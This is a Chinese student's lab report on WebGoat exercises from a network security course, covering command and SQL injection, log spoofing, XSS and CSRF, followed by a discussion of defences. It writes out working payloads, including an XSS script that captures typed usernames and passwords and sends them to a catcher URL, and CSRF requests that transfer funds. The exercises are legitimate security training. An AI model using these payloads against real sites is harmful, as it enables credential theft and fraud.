20174320 王灏汉《网络对抗技术》Exp9 Web安全基础
实践内容 :
1 安装WebGoat
在码云上搜索下载webgoat-container-7.0.1-war-exec.jar文件
下载好后在webgoat-container-7.0.1-war-exec.jar目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
出现上面提示,webgoat安装成功
打开浏览器输入http://localhost:8080/WebGoat/,进入登录页面,用默认的管理员账号密码登录
可以看到虽然进入了主页但是左边并没有相应的课程栏
(参考别的同学的博客得知是因为jdk版本问题,需要jdk 1.8.0版本)
那就去官网下载jdk 1.8.0,下载后解压安装包
并配置环境变量
配置好后,通知系统java的位置
设置默认JDK
重新载入profile
这样一来,所需要的jdk就安装成功了:
此时再打开webgoat的主页,可以成功看到左边一系列的课程栏了
2 SQL注入攻击:Injection Flaws
2.1 命令注入:Command Injection
命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
在左侧课程栏中找到Injection Flaws—>Command Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改
之后可以在右侧对网页源代码进行修改,找到名字为HelpFile的select元素,在第一项内容的后面添加"& netstat -an & ipconfig",修改后再次点击下拉框旁的Vie
点击view,可以看到本地计算机的网络端口使用情况和IP地址。攻击成功!
2.2 数字型注入:Numeric SQL Injection
利用SQL语句的特点,注入数字型数据,使系统执行恶意代码。对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
左侧课程栏选中Injection Flaws -> Numeric SQL Injection,点击Go!按钮,即可查询到默认的哥伦比亚的天气
右键点击页面,选择inspect Element审查网页元素对源代码进行修改。找到名为station的select元素,在第一项101后面添加" or 1=1 ",修改后点击Go!
可以看到查询到了所有的城市天气信息,攻击成功!
2.3 日志欺骗:Log Spoofing
在系统日志中抹除黑客访问的记录,混淆安全软件视听,使得日志中仅有用户名为admin的用户成功登录。
左侧课程栏选中Injection Flaws -> Log Spoofing,在User Name文本框中填写webgoat%0d%0aLogin Succeeded for username: guest,其中%0d是回车,%oa是换行符,可以让注入信息转行显示
可以看到虽然表面上我让登录的是webgoat用户,但是日志中却自动转行记录了想让它记录的guest用户,攻击成功!
2.4 字符串注入:String SQL Injection
利用SQL语句的特点,注入字符串,使系统执行恶意代码,基于查询语句构造的SQL 注入字符串将把所有信用卡信息显示出来。
左侧课程栏选中Injection Flaws -> String SQL Injection,输入Smith可查询Smith的信用卡信息。
在User Name文本框中填写Smith‘ or 1=1--,‘ 把前面last name这一条件终止了,插入了永真式1=1,-- 注释了后面的代码
查询到了所有人的信用卡信息,攻击成功!
3 XSS攻击
3.1 XSS 钓鱼:Phishing with XSS
当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
左侧课程栏选中Cross-Site Scripting (XSS) -> Phishing with XSS,在搜索框中填入以下代码,可以看到页面中增加了一个登录的表单:
<form> <br><br><HR><H3>This feature requires account login: </H3 ><br><br> Enter Username: <br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
再往上面代码中添加一个功能脚本,用来实现读取被攻击者在表单上输入的用户名和密码信息,并将这些信息发送给捕获这些信息的 WebGoat
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert(" User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
在搜索框中填入这段代码,可以看到成功返回了输入的用户名和密码
3.2 反射型XSS攻击:Reflected XSS Attacks
反射型XSS攻击通过使受害者执行攻击者的脚本,使攻击者获取受害者的cookie等敏感数据,进而可以窃取受害者的临时身份,进行一系列操作。
在课程栏中找到Cross-Site Scripting (XSS) ->Reflected XSS Attacks
在输入序列号一栏中,改成输入脚本代码:<script>alert("I have attacked you.You can call me 20174320");</script>,点击购买
弹出了我输入的文字,攻击成功!
4 CSRF攻击
4.1 跨站请求伪造:Cross Site Request Forgery (CSRF)
CSRF通过伪装来自受信任用户的请求来利用受信任的网站,欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作
找到Cross-Site Scripting (XSS) -> Cross Site Request Forgery(CSRF),可以看到Parameters中scr和menu中的值分别是283和900
在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen= 283&menu=900&transferFunds=5000" width="1" height="1" />,构造一个貌似支付链接的一个伪造的图片。其中Screen和menu的值由右侧表格看出,语句transferFunds=1314意为把1314元钱转走。
提交后,在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的1314元,攻击成功
4.2 绕过 CSRF 确认:CSRF Prompt By‐Pass
跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。
找到Cross-Site Scripting (XSS) -> CSRF Prompt By-Pass,已知Parameters中的src和menu值分别为322和900,在message框中输入代码:
<iframe src="attack?Screen=322&menu=900&transferFunds=1314"> </iframe> <iframe src="attack?Screen=322&menu=900&transferFunds=CONFIRM"> </iframe>
点击Message List中生成以Title命名的消息,攻击成功!
实验总结与体会:
1 实验后回答问题
1.1 SQL注入攻击原理,如何防御
攻击原理:
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
防御:
1. 不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。
2. 不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3. 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4. 把机密信息明文存放,请加密或者hash掉密码和敏感的信息。
5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
1.2 XSS攻击的原理,如何防御
攻击原理:
XSS攻击是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。
防御:
1. 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
2. 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
1.3 CSRF攻击原理,如何防御
攻击原理:
CSRF跨站请求伪造是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用 <img src="" /> 来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求,也可以使用javascript构造一个提交表单的post请求。
防御:
1. referer
因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。
2. 使用验证码
每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
3. 使用token
每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。
2 实验心得
本次实验是我们网络对抗的最后一次实验,学习了一些常用的针对网络的攻击手段。虽然现在通过webgoat做起来很简单,但是要真正作为一种攻击方式来进行攻击还有很远的距离。但是通过这样简单的尝试让我们明白了这些攻击的原理,这才是最重要的。网络对抗要先明白攻,才能学会防,我们在这一次次的攻击中学会了很多东西。即使课程到这儿告一段落了,但网络对抗给我们带来的乐趣和其中的意义却是无穷的,真正可以作为一生的财富!